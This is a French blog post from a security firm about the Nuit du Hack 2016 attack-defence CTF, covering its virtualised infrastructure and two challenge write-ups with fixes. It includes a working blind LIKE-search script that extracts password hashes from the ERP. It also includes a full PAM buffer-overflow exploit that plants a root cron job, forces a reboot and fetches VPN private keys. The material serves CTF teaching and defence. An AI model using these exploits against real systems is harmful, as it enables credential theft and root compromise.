• CENTRE D’URGENCE | 24/7
  • Vous êtes victime d’une cyberattaque ?
  • Contactez notre centre d’urgence cyber :
  • +33 (0)1 83 07 00 06

MALICE, support du CTF privé de la Nuit Du Hack: infrastructure et write-up’s

*Plus qu'un jeu ou une compétition* À la manière des compétitions sportives, symbolisées par le « fair play », le respect, la cohésion d'équipe, les tournois électroniques occupent aujourd'hui une place importante dans la vie des communautés. Sports électroniques et autres disciplines confondues, le « fair play » n'est pas systématiquement au rendez-vous mais la bonne humeur est généralement de circonstance, de même qu'un esprit partagé : progresser dans de nombreux domaines et repousser les limites...

Plus qu’un jeu ou une compétition

À la manière des compétitions sportives, symbolisées par le « fair play », le respect, la cohésion d’équipe, les tournois électroniques occupent aujourd’hui une place importante dans la vie des communautés. Sports électroniques et autres disciplines confondues, le « fair play » n’est pas systématiquement au rendez-vous mais la bonne humeur est généralement de circonstance, de même qu’un esprit partagé : progresser dans de nombreux domaines et repousser les limites.

L’univers du hacking et de la sécurité ne font pas exception. Les compétitions sont nombreuses et attirent un public international : Codegate, Hack.lu CTF, PHDays, et les dizaines d’autres témoignent de la grande variété de contenu et de la motivation des équipes à traverser parfois la planète pour une nuit de jeu ! Chaque année Sysdream accueille au CTF de la Nuit du Hack des équipes de toute l’Europe, mais également américaines, japonaises, chinoises, coréennes, etc.

Les circuits se professionnalisent et les compétitions sont l’occasion pour les universités, les écoles, les entreprises de briller et démontrer en public leurs compétences : chacun rêve de classement CTFTime ou de qualification au prestigieux DEFCON CTF. C’est également un temps pour rapprocher les experts de spécialités variées et résoudre ensemble des problèmes mélangeant sécurité, administration, développement, etc.

Au delà du jeu, la compétition et la mise en situation sont prétexte pour les industriels et les institutions à creuser des sujets hautement techniques, se former et mettre en oeuvre de nouvelles approches en réunissant les profils pertinents et en favorisant la communication. C’est finalement l’occasion de repérer des profils à potentiel.

C’est dans cet esprit et dans le cadre de MALICE Events que Sysdream organise régulièrement des événements, exercices et compétitions pour des industriels, des institutions et la communauté. Chaque année depuis 2008, le CTF de la Nuit du Hack réunit et met à l’épreuve quelques unes des meilleures équipes de hacking et de sécurité offensive.

Infrastructure basée sur MALICE

Support de tous les exercices et compétitions mis en place par Sysdream,
le moteur de simulation de MALICE est conçu comme un outil de mise
en situation. Il est destiné à la formation et l’entraînement à la sécurité
et la cyberdéfense : il s’agit non seulement de piloter et superviser un parc
virtualisé, mais également d’assurer des déploiements reproductibles et
rapides pour s’adapter au monde événementiel.

La simulation dans un tel cadre ne pose pas les mêmes contraintes que la
virtualisation habituellement déployée en production : le système est
volontairement destiné à subir des attaques, à commencer par des tentatives
depuis les équipements simulés eux-mêmes. Les équipes n’hésitent ainsi pas à
tenter de saturer les ressources d’un hyperviseur ou de compromettre les
systèmes d’administration. Un fort niveau d’isolation est donc requis, en
maintenant l’accent sur les performances de déploiement pour être en
mesure de fournir non pas une infrastructure unique, mais une par équipe,
identiques en configuration et peuplées de données variées.

À cette fin, Sysdream a mis en oeuvre dans MALICE les outils nécessaires pour
répliquer efficacement une infrastructure complète. Le jour de la Nuit du Hack,
ce sont près de 150 machines virtuelles qui sont déployées en quelques minutes
sur le modèle de l’infrastructure préparée en amont. Autour d’un coeur de
réseau à 20Gbps, le cluster de virtualisation est également redondant pour
parer aux incidents le jour J.

Basée entre autres sur Python, Celery et Redis, une batterie d’outils complète
le moteur en formalisant toutes les étapes d’une compétition de type Capture
The Flag : génération automatique des données de chaque équipe, déploiement
automatique des configurations sur chacune des machines virtuelles à
disposition, surveillance de l’état des services, etc.

Amicalement prénommée Bob, l’infrastructure finale a été assemblée dans un
caisson transportable durci, anti-vibrations et immersible, caractéristiques
incontournables pour survivre à une Nuit du Hack !

Le scénario et le terrain de jeu

Cette année, les participants se sont affrontés sur le thème d’une entreprise
pharmaceutique. Plus précisément, il s’agissait d’assurer la sécurité d’une
chaîne de production de médicaments et d’attaquer les services des équipes
adverses.

Les objectifs étaient multiples :

  • assurer le bon fonctionnement de leurs services et de la production ;
  • identifier et corriger les failles implémentées par notre équipe au sein des
    services en prenant soin de ne pas perturber ni modifier leur fonctionnement ;
  • exploiter ces vulnérabilités sur les services des équipes adverses afin de
    leur voler des données et des points.

    Chaque équipe disposait d’une copie de l’infrastructure et de ses propres
    équipements administrables (à l’exception de l’automate, en boîte noire) :

  • un router pare-feu frontal ;

  • un serveur frontal HTTP faisant office de reverse proxy ;
  • un ERP stockant la liste des clients, des employés, des médicaments et les
    commandes à produire ;
  • un serveur de production récupérant les commandes et les recettes pour
    piloter les processus industriels ;
  • une base de données stockant les recettes des médicaments ;
  • un automate assurant la production des médicaments ;
  • un serveur de stockage contenant des informations sur les nouveaux
    médicaments de la société ;
  • un site Web vitrine présentant la société ;
  • un serveur mail pour les employés ;
  • un accès VPN donnant accès au réseau interne de l’entreprise ;
  • un partage Samba accessible depuis le réseau interne et le VPN.

API de recherche vulnérable sur l’ERP

Présentation du service

Les ERP (Entreprise Resource Planning) sont très utilisés en entreprise. Ils
permettent de simplifier, entre autres, la gestion de calendriers, de
ressources, la coordination des activités, etc.

L’ERP présent sur le CTF de la Nuit du Hack 2016 est un produit fait maison
reprenant quelques-unes des fonctionnalités traditionnelles d’un ERP.
Il stocke notamment la liste des clients de la société, les employés, les
médicaments et les commandes à produire.

Identification de la vulnérabilité

Lorsque l’on saisit une chaîne de caractères dans le champ de recherche de
l’ERP on s’aperçoit rapidement que les éléments retournés ne contiennent pas
tous cette chaîne. Cela peut donc paraître un peu étrange.

Par exemple, si l’on saisit la chaîne « ad » dans le champ de recherche de la page
« ERP Users » nous obtenons quatre résultats.

Le premier résultat concerne l’utilisateur « ERP Administrator » qui contient donc
bien la chaîne « ad ».
Idem pour le troisième résultat dont l’adresse e-mail termine par « wanadoo.fr ».
Et pareil pour le dernier résultat dont le nom est « Rashad Blecha ».
Cependant, si l’on regarde de plus près, aucune chaîne « ad » n’est présente pour
le second résultat. Que ce soit dans l’username, le name ou encore l’email.

Cela peut donc laisser supposer deux choses, soit la recherche est défectueuse
soit elle s’effectue également dans d’autres champs non affichés sur la page.

Pour vérifier cette information, il est bon d’analyser le code présent sur la
machine ERP.

A la fin du fichier « /srv/erp/erpharma/blueprints/users/views.py » on retrouve
le code suivant :

@permission_required(Permissions.ADMIN)
@users.route("/users.json")
@json()
def json():
    table = DataTable(request.args, User, User.query, ["id", "username", "name", "email", "permissions"])
    table.searchable(lambda queryset, user_input: search(User, queryset, user_input))
    return table.json()

Il s’agit du code lié à la recherche des utilisateurs sur l’ERP. Nous constatons
que la fonction search() est appelée et que cela retourne un résultat au format
JSON.
Nous remarquons également que la position du décorateur « permission_required »
n’est pas correcte. Pour que l’authentification soit fonctionnelle, il devrait
être placé après « users.route ». De ce fait, aucune authentification n’est
nécessaire pour effectuer la requête.

La fonction search() est définie dans le fichier « /srv/erp/erpharma/models.py »

def search(m, q, p):
    return q.filter(or_(*[c.like("%%%s%%" % p) for c in m.__table__.c]))

Ensuite, dans le même fichier nous trouvons le code suivant :

class User(UserMixin, db.Model):
    __tablename__ = "users"

    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(64), unique=True)
    email = db.Column(db.String(100), unique=True)
    name = db.Column(db.String(100))
    password_hash = db.Column(db.String(40))
    permissions = db.Column(db.Integer)

Ces éléments nous indiquent que la recherche est effectuée dans la table
« users », sur tous les champs et que si une des valeurs de ces champs correspond
alors on retourne la ligne en indiquant l’id, l’username, l’email et les
permissions.
De plus, il s’agit d’une recherche de type ‘LIKE « %s% »‘. C’est-à-dire que l’on
recherche la chaîne saisie, peu importe sa position dans la valeur du champ.

Mais l’information la plus intéressante ici est de voir qu’un champ,
‘password_hash’, n’est pas retourné dans le résultat mais il est tout de même
concerné par la recherche. Nous apprenons également que ce hash est sur 40
caractères.

Exploitation de la vulnérabilité

Via la syntaxe du ‘LIKE’ il est possible de faire des suppositions à l’aveugle.
Par exemple on peut remplacer n’importe quel caractère via le caractère « _ ».
Si l’on saisit la chaîne suivante : « a_______________________________________ »,
c’est-à-dire le caractère « a » suivi de 39 caractères quelconques nous obtenons
deux résultats.

Nous pouvons donc supposer que ces deux utilisateurs ont un hash de mot de
passe commençant par la lettre « a ».

Si nous continuons et essayons de remplacer le second caractère qui est un « _ »
par une lettre nous pouvons trouver la deuxième lettre du hash de l’utilisateur
« eberinger » qui semble être un « e ».

En continuant ainsi il est donc possible de trouver le hash complet de
l’utilisateur et de faire la même chose pour tous les autres utilisateurs de
l’ERP.

Afin de gagner du temps, nous avons automatisé le processus en écrivant un
script d’exploitation.

Ce script est le suivant :

import requests

payload = "http://erp.tasteless.ctf/users/users.json?draw=6&start=0&length=10&search[value]=%s"

charset = "abcdef0123456789"

hash_size = 40

accounts = []

def getmatches(data):
    req = requests.get(payload % data).json()
    return req['recordsFiltered']

def getinfo(data):
    req = requests.get(payload % data).json()
    return req

def pad(guess):
    return guess.ljust(hash_size, "_")

def walk(guess=""):
    for c in charset:
        payload = pad(guess + c)
        matches = getmatches(payload)
        if matches > 0:
            print("Payload : %s got %d matches." % (payload, matches))
            if (len(guess + c) == hash_size):
                uinfo = getinfo(guess + c)
                print("[Account] email : %s - username : %s - password_hash : %s" % (uinfo["data"][0]["email"], uinfo["data"][0]["username"],guess + c))
                accounts.append({"email": uinfo["data"][0]["email"], "username": uinfo["data"][0]["username"], "password_hash": guess+c})
            else:
                walk(guess + c)

if __name__ == "__main__":
    walk()

Ce script appelle donc la page vulnérable, à savoir
http://erp.tasteless.ctf/users/users.json. Dans le paramètre « search[value] » on
passe une chaîne de type « a_______ ».
Les caractères à tester sont définis par la variable « charset ». On se limite aux
caractères hexadécimaux couramment utilisés dans les hashs. On définit la taille
du hash à 40 car nous connaissons cette taille.
Ensuite on teste toutes les combinaisons possibles à l’aveugle jusqu’à obtenir
le hash de mot de passe de tous les utilisateurs de l’ERP.

Le résultat pour un utilisateur est le suivant :

python blindsearch.py
Payload : a_______________________________________ got 2 matches.
Payload : ae______________________________________ got 1 matches.
Payload : ae7_____________________________________ got 1 matches.
Payload : ae76____________________________________ got 1 matches.
Payload : ae761___________________________________ got 1 matches.
Payload : ae761a__________________________________ got 1 matches.
Payload : ae761ac_________________________________ got 1 matches.
Payload : ae761acf________________________________ got 1 matches.
Payload : ae761acfc_______________________________ got 1 matches.
Payload : ae761acfc1______________________________ got 1 matches.
Payload : ae761acfc13_____________________________ got 1 matches.
Payload : ae761acfc131____________________________ got 1 matches.
Payload : ae761acfc1310___________________________ got 1 matches.
Payload : ae761acfc13104__________________________ got 1 matches.
Payload : ae761acfc131045_________________________ got 1 matches.
Payload : ae761acfc1310457________________________ got 1 matches.
Payload : ae761acfc1310457f_______________________ got 1 matches.
Payload : ae761acfc1310457fe______________________ got 1 matches.
Payload : ae761acfc1310457fe2_____________________ got 1 matches.
Payload : ae761acfc1310457fe2c____________________ got 1 matches.
Payload : ae761acfc1310457fe2c8___________________ got 1 matches.
Payload : ae761acfc1310457fe2c8c__________________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc_________________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5________________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5b_______________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5be______________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed_____________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5____________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e___________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e9__________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98_________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b________ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3_______ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a______ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3_____ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3c____ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cf___ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cff__ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cffc_ got 1 matches.
Payload : ae761acfc1310457fe2c8cc5bed5e98b3a3cffc0 got 1 matches.
[Account] email : beringer.1969@rambler.ru - username : eberinger -
password_hash : ae761acfc1310457fe2c8cc5bed5e98b3a3cffc0

Corriger la vulnérabilité

La correction de cette vulnérabilité est triviale. Il suffit, dans le fichier
« models.py », de modifier la ligne suivante :

return q.filter(or_(*[c.like("%%%s%%" % p) for c in m.__table__.c]))

par

return q.filter(or_(*[c.like("%%%s%%" % p) for c in [c for c in m.__table__.c if c.name != "password_hash"]]))

Ainsi, la fonction search() exclut la colonne « password_hash » lors de sa recherche.

Débordement de tampon sur le VPN

Présentation du service

Un VPN est un service qui permet de créer un lien direct entre des ordinateurs
distants.
On l’utilise par exemple dans le cadre du travail à distance, dans le but
d’accéder aux ressources informatiques internes à l’entreprise.
OpenVPN, utilisé dans ce scénario, contient un serveur ainsi qu’un client VPN.

On s’intéresse désormais aux fichiers de configuration du service VPN. Le CTF
étant de type « attaque défense », nous possédons les même fichiers que toutes les autres
équipes.
Si l’on trouve une vulnérabilité dedans, on peut :

  • Exploiter la même vulnérabilité sur le VPN des autres équipes ;
  • Corriger cette vulnérabilité afin que les autres équipes ne soient plus en
    mesure de l’exploiter sur notre propre service VPN.

Dans les fichiers de configuration, nous regardons le fichier server.conf.

% cat server.conf
mode server
proto tcp
port 443
dev tun
ca /etc/openvpn/ca.crt
cert /etc/openvpn/server.crt
key /etc/openvpn/server.key
dh /etc/openvpn/dh2048.pem
cipher AES-256-CBC
server 10.8.0.0 255.255.255.0
keepalive 10 120
user nobody
group nogroup
persist-key
persist-tun
comp-lzo
#verb 3
plugin /etc/openvpn/pam/openvpn-auth-pam.so login
client-to-client
duplicate-cn

Nous remarquons la ligne plugin /etc/openvpn/pam/openvpn-auth-pam.so login
qui nous donne l’indication qu’un module PAM est appelé au moment de
l’authentification du client.
Intéressons-nous au module PAM (Pluggable Authentication Modules) . Le fichier
source de ce module est présent à cet endroit /etc/openvpn/pam/auth-pam.c.

Identifier la vulnérabilité

Nous analysons le module PAM afin de voir si la vulnérabilité n’est pas située
dedans.
On analyse le code du module en recherchant les fonctions qui peuvent provoquer
des vulnérabilités (strcpy, memcpy, strcat, etc …) .
On trouve une vulnérabilité de type débordement de mémoire dans la fonction qui
enregistre les logins de ceux qui ont tenté une authentification.

Ici la fonction vulnérable:

int log_login(const char *login)
{
    if (fork() == 0)
    {
        int     i=0;
        int     j;
        char    buffer[40];
        char    errormessage[40];
        char    logpath[40];
        int     errorlength;
        strncpy(errormessage,"Access denied: ",16);
        errorlength = strlen(errormessage);
        strncpy(logpath,"/tmp/logPAM",16);
        int     fd;
        signal(SIGSEGV, &segfault);
        strcpy(buffer,login);
        char logline[1000];
        for(i=0;i<errorlength;i++){
            logline[i]=errormessage[i];
        }
        for(i=0;i<strlen(buffer);i++){
            logline[i+errorlength]=buffer[i];
        }
        logline[i+errorlength+1]='';
        printf("Logpath %sn",logpath);
        printf("errormessage %sn",errormessage);
        printf("Buffer %sn",buffer);
        printf("logline %sn",logline);
        if ((fd = open(logpath, O_RDWR | O_CREAT | O_APPEND , S_IRUSR | S_IRGRP | S_IROTH)) > 0)
        {
            printf("Write "%s"", logline);
            write(fd, logline, strlen(logline));
            write(fd,"n",1);
            close(fd);
            return 0;
        }
        return 0;
    }

    return 0;
}

Le login étant un paramètre que l’utilisateur contrôle, et la taille du login
n’étant pas contrôlée, c’est à cette ligne que le débordement peut avoir lieu:
strcpy(buffer,login);

Exploiter la vulnérabilité

On se penche d’abord sur les façons classiques d’exploitation de ce genre de
vulnérabilité ( les débordements mémoire dans la pile ).
Cette voie nous donne plusieurs choix dont les principaux sont:

  1. Ecraser le pointeur de retour de la fonction vulnérable. En effet une fois
    qu’une fonction est appelée, elle stocke l’IP ( instruction pointeur ) actuel
    dans la pile, puis l’IP prend la valeur de la première instruction de la
    fonction appelée. Ce mécanisme permet de revenir dans la fonction appelante une
    fois la fonction appelée terminée. En modifiant cette valeur, on pourrait
    revenir dans un code que l’on contrôle et donc exécuter les instructions que
    l’on souhaite.

  2. Ecraser un pointeur stocké dans la pile, ce pointeur nous permettrait de
    pouvoir lire et écrire à un emplacement arbitraire du programme.

  3. Ecraser un nom de fichier qui serait utilisé par la suite et qui nous
    permettrait donc de lire et/ou d’écrire dans un fichier du système que l’on peut
    choisir.

Dans le cas du VPN, la solution numéro trois est la plus simple à réaliser. En
effet, le tableau de caractères logpath contient l’adresse du fichier de log
qui va servir à enregistrer les tentatives de connexion au VPN.

Modifier le nom du fichier

Pour commencer, nous cherchons l’écart de mémoire (communément appelé offset)
entre le tableau logpath et le buffer.
Pour ce faire on désassemble la fonction vulnérable du binaire.

-- snip --

0x0000000000001020 <+16>:    mov    %rdi,%rbx
0x0000000000001023 <+19>:    mov    $0xb,%edi
0x0000000000001028 <+24>:    sub    $0x488,%rsp
0x000000000000102f <+31>:    mov    0x2013a2(%rip),%rsi        # 0x2023d8
0x0000000000001036 <+38>:    mov    %rax,0x30(%rsp)
0x000000000000103b <+43>:    movabs $0x203a6465696e65,%rax
0x0000000000001045 <+53>:    movq   $0x4d4150,0x68(%rsp)
0x000000000000104e <+62>:    mov    %rax,0x38(%rsp)
0x0000000000001053 <+67>:    movabs $0x676f6c2f706d742f,%rax
0x000000000000105d <+77>:    lea    0x30(%rsp),%r12
0x0000000000001062 <+82>:    mov    %rax,0x60(%rsp)
0x0000000000001067 <+87>:    mov    %rsp,%rbp
0x000000000000106a <+90>:    callq  0xda0 <signal@plt>
0x000000000000106f <+95>:    mov    %rbx,%rsi
0x0000000000001072 <+98>:    mov    %rsp,%rdi
0x0000000000001075 <+101>:   lea    0x90(%rsp),%rbx
0x000000000000107d <+109>:   callq  0xd20 <stpcpy@plt>

-- snip --

On peut remarquer des nombres tels que 0x676f6c2f706d742f et 0x4d4150.
Ces deux nombres, en les décodant en ASCII nous donnent « gol/pmt/ » et « MAP ».
On remarque que c’est l’inverse de « /tmp/logPAM » qui est le nom du fichier de
log et qui est stocké sur la pile.
Nous pouvons voir à quel emplacement mémoire le nom de fichier est copié: 0x60
octets au-dessus de SP (le stack pointer, dans le binaire il correspond à %rsp )
Nous avons donc l’emplacement dans la pile de logpath : 0x60 + %rsp.

On voit que l’appel vulnérable précédemment cité strcpy(buffer,login); prend
comme arguments :

  1. buffer situé à 0x0 octets par rapport SP ;
  2. login le paramètre que l utilisateur contrôle.

Nous obtenons donc l’emplacement de buffer 0x0 + %rsp.

Nous avons donc notre offset: 0x60 octets = 96 octets.
En entrant un login d’une taille supérieure à 96 octets, nous écrasons le nom
du fichier de log.

Ceci nous permet par la suite d’enregistrer une chaine de caractères dans un
fichier du système.
Sachant que le module PAM est lancé avec les droits root, on peut donc écrire à
n’importe quel endroit du système.

Ecrire ce que l’on veut

Pour écrire ce que l’on veut dans le fichier cible, on doit être en mesure de
contrôler le tableau logline.
C’est ce tableau qui va finalement être ajouté à la fin du fichier que l’on
peut choisir.

if ((fd = open(logpath, O_RDWR | O_CREAT | O_APPEND , S_IRUSR | S_IRGRP | S_IROTH)) > 0)
{
    printf("Write "%s"", logline);
    write(fd, logline, strlen(logline));
    write(fd,"n",1);
    close(fd);
    return 0;
}

Le tableau logline est une concaténation du tableau errormessage et du
tableau buffer :

char logline[1000];
for(i=0;i<errorlength;i++){
    logline[i]=errormessage[i];
}
for(i=0;i<strlen(buffer);i++){
    logline[i+errorlength]=buffer[i];
}
logline[i+errorlength+1]='';

On recherche donc l’adresse du tableau errormessage.
En effet, on cherche à savoir si nous contrôlons ce qui est écrit dans
errormessage.
la ligne :

strncpy(errormessage,"Access denied: ",16);

correspond en assembleur au morceau de code suivant:

0x0000000000001014 <+4>:     movabs $0x6420737365636341,%rax
-- snip --
0x0000000000001036 <+38>:    mov    %rax,0x30(%rsp)
0x000000000000103b <+43>:    movabs $0x203a6465696e65,%rax
-- snip --
0x000000000000104e <+62>:    mov    %rax,0x38(%rsp)

On peut le voir, car 0x6420737365636341 et 0x203a6465696e65 correspondent
respectivement à « d sseccA » et  » :deine ».
Ce qui correspond à la chaîne de caractères « Access denied:  » du strncpy précédent.
Nous obtenons donc l’emplacement du tableau errormessage qui est situé à rsp +
0x30.

Au final, nous avons le contrôle sur le tableau logline car il est situé entre
buffer et logpath. Pour écrire ce que l’on veut, où on le souhaite, le
login doit avoir la structure suivante:

Soit ligne, la ligne à écrire dans le fichier.

Soit fichier, le fichier cible.

Soit taille_ligne, la taille en octets de la ligne à écrire.

ligne = " "*(63-taille_ligne) + ligne

login = ligne[15:]+ligne[:15] + fichier

Il nous reste un problème:

Le début de la commande ainsi que le nom du fichier seront présents à la fin de
la ligne que l’on ajoutera au fichier.

Executer une commande

Pour l’instant on peut écrire presque n’importe quoi à n’importe quel endroit
de la machine, mais nous cherchons une solution pour exécuter des commandes
système.

Le premier fichier à viser est la crontab située à /etc/crontab.
On ajoute une tâche cron grâce à l’exploitation trouvée précédement, tout en
commentant la fin de la ligne (le nom du fichier plus le début de la commande)
avec un ‘#’.
Une fois cette tâche ajoutée, on doit trouver un moyen de redémarrer la machine.

En modifiant le fichier /proc/sysrq-trigger, on provoque un kernelpanic qui
a pour effet de redémarrer la machine sans trop l’abimer.
Une fois la machine redémarrée, la tache cron est exécutée et donc notre
commande.
Dans l’exploit donné en annexe, le choix de la commande est la construction
d’un lien symbolique dans /var/www/html/ vers la racine du système de fichier.
En ouvrant ce lien symbolique en HTTP, on obtient un accès au système de
fichier. On peut donc récupérer les « flags » qui valident l’épreuve.

Corriger le service

La correction de ce service est plus simple que l’exploitation.
On peut imaginer plusieurs méthodes :

  1. La méthode attendue était de corriger le problème dans le code. La ligne
    strcpy(buffer,login); posant problème on peut la remplacer par
    strncpy(buffer,login,sizeof(buffer)-1); buffer[sizeof(buffer)-1] = ''; ainsi
    il n’y a plus de débordement ;

  2. Une autre méthode, qui a été présentée par une des équipes lors du CTF, est
    possible. On récupère un module PAM sur Internet afin de remplacer celui
    existant dans le service.

Annexe

fichier exploit.py

import os
import socket
import time
import subprocess
import sys
import requests

def write_to_file(filename,payload):
    # Utilise la vulnérabilité dans le module PAM pour écrire dans un fichier en root
    if len(payload)>64:
        print("Line too long")
        exit()
    payload += (" "*(63-len(payload)))
    username= payload[15:]+payload[:15]+" "*33+filename
    file = open('pass.conf','w')
    file.write(username)
    file.write("ntestn")
    file.close()
    openvpn = subprocess.Popen(["openvpn","--config","client.ovpn","--auth-user-pass","pass.conf"], stdout=None)
    time.sleep(10)
    subprocess.Popen.kill(openvpn)
os.system("wget http://vpn."+sys.argv[1]+".ctf/client.ovpn -O client.ovpn -q")
print("Write cronjob...")
write_to_file("/etc/crontab","* * * * * root ln -s / /var/www/html/.stolen # ") # créé un lien symbolique vers le système pour récupérer les fichiers
print("Reboot machine...")
write_to_file("/proc/sysrq-trigger","s")
time.sleep(20)
write_to_file("/proc/sysrq-trigger","b") # Fait redémarrer la machine permettant l'application de la tâche cron
time.sleep(30)
os.system("wget -r --no-parent http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/")
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/server.key").text)
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/server.crt").text)
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/ca.key").text)
print(requests.get("http://vpn."+sys.argv[1]+".ctf/.stolen/etc/openvpn/vpn-user.conf").text)